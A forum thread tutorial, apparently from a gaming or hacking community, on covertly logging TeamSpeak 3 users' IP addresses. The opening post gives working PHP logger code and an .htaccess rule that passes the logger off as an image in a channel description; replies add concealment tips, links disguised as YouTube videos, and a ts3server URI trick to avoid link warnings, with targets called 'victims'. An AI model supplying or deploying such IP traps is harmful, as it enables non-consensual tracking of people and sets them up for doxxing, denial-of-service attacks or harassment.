Tutorial Get user's ip address via TeamSpeak 3

Laszl0w

Well-Known Member
Joined
Oct 10, 2015
Messages
218
Reaction score
148
Points
103
Age
25
Location
Hungary
Hey.
1. You should get a free webserver.
2.You need to make 4 files.
  • -iplogger.php
  • .htaccess
  • -image.gif
  • -logger.html
Open your iplogger.php and type it.
<?php
$log = 'logger.html';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];

$date_time = date("l j F Y g:ia", time() - date("Z")) ;
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen("logger.html", "a");
fputs($fp, "
<b>$date_time</b> <br> <b>IP address: </b>$ip<br><b>Page: </b>$page<br><b>Browser:

</b>$agent <br><br>
");
flock($fp, 3);
fclose($fp);
?>

Open your .htaccess file and type it:
RewriteEngine on
RewriteRule ^image.gif$ iplogger.php

Make an empty logger.html.
Make an image which name is image.gif.

How to use it?

Change your channel description to :


When somebody click on your room their IP is on logger.html.
Result:

Tuesday 22 September 2015 4:48pm
IP address: 84.236.79.175
Page: /drx/image.gif
Browser: TeamSpeak3-ImageFetcher-1.0
That's it.
 
Last edited:

9dc

Member
Joined
Sep 21, 2015
Messages
47
Reaction score
18
Points
43
Location
Germany
Do i need a custom gif or can i use any? what does the rewrite rule do? :)
 

Laszl0w

Well-Known Member
Joined
Oct 10, 2015
Messages
218
Reaction score
148
Points
103
Age
25
Location
Hungary
Just make a file named image.gif.
ReWriteRule is when you want to see image.gif it will load the iplogger.php you your ip will be logged.
 

Kirill

Member
Joined
Aug 30, 2015
Messages
60
Reaction score
40
Points
53
Do i need a custom gif or can i use any? what does the rewrite rule do? :)
Rewrite rule sends your request to that php script instead of a gif. You can use any gif, even an empty file will wort (theoretically).

Also, I think that "<br><b>Browser: </b>$agent <br>" part can be removed, you'll get no useful information from that, except if you want to know if someone used regular browser instead of teamspeak to try to reach your gif.
And even more, don't name your scripts like "iplogger", some hosting providers won't like it. Same for that html file. And also, you should forbid everyone from seeing list of files in your directory, as they'll find a log file.
Add this to .htaccess (don't forget about empty line).
Code:
Options -Indexes
 
Last edited:

Laszl0w

Well-Known Member
Joined
Oct 10, 2015
Messages
218
Reaction score
148
Points
103
Age
25
Location
Hungary
Im using it on my own xampp server.
That's why i called it to : iplogger
 

L.

Active Member
Joined
Sep 1, 2015
Messages
120
Reaction score
111
Points
88
wont work for me
(fixed i'm a retard)

now we only need something like a clean.php (you open it and it will clean the log.html)
 
Last edited:

bl4uni

Active Member
Joined
Sep 10, 2015
Messages
106
Reaction score
69
Points
73
Age
31
That doesn't matter when you put it as [ img ] in the channel description, does it? People wont even be able to see your link. That's the whole point of doing it in the first place.
 

Laszl0w

Well-Known Member
Joined
Oct 10, 2015
Messages
218
Reaction score
148
Points
103
Age
25
Location
Hungary
It doesnt matter you should do it without spaces.
 

bl4uni

Active Member
Joined
Sep 10, 2015
Messages
106
Reaction score
69
Points
73
Age
31
**? It's because the forum display's it as a empty image file and I didn't want to make a [ code ] tag just for that, lol.
 
Last edited:

Kirill

Member
Joined
Aug 30, 2015
Messages
60
Reaction score
40
Points
53
That doesn't matter when you put it as [ img ] in the channel description, does it? People wont even be able to see your link. That's the whole point of doing it in the first place.
Well, yeah, but some admins tend to monitor channel descriptions and that link might lead to something bad to channel admin. Same with some bots that monitor descriptions (Rbmod can do that, if I'm not mistaken).
 
Last edited:

Betterfudge

Member
Joined
Sep 25, 2015
Messages
23
Reaction score
10
Points
41
Age
43
Nice. You can also send them an ip logger link (shorten it with google's url shortener for less suspicion) which will trigger the ip trap. Iplogger.com also has the image url feature, where you can paste the image url into the channel description, and anyone joining the channel will have their ip recorded. Just thought I'd share two other cool examples of ip traps!
 

Phyx

Member
Joined
Oct 21, 2015
Messages
33
Reaction score
27
Points
53
Age
27
Another method is this:
Code:
[url=http://your-ip-logger.com/script.php]https://www.youtube.com/watch?v=Ow_qI_F2ZJI[/url]
This will create a YouTube link in TeamSpeak, when your victim clicks on it your IP logger will be loaded. TeamSpeak has link warnings now though, so the best thing to do is launch a TS3 server for IP logging then do this.

Code:
[url=ts3server://ip-log-server.com:9987]https://www.youtube.com/watch?v=Ow_qI_F2ZJI[/url]
ts3server URIs give no warning (I think) and so when someone clicks on the YouTube link they will connect into your TeamSpeak 3, then you have their IP.
 
Last edited:

Jazzo

Member
Joined
Dec 8, 2015
Messages
1
Reaction score
0
Points
33
Age
25
Hey guys just wondering , i set this up works fine except it only gets a ip if someone actually goes to the url , if someone joins the teamspeak channel it doesn't work :/

Can someone help me know why its not working
 

Laszl0w

Well-Known Member
Joined
Oct 10, 2015
Messages
218
Reaction score
148
Points
103
Age
25
Location
Hungary
Does not work with 3.0.18.2 cuz TeamSpeak3 block image cuz RFI exploit.
 

Jones24

Member
Joined
Feb 17, 2016
Messages
1
Reaction score
0
Points
33
Age
40
Whats the job of the logger.html? What has to be in there?
 

Top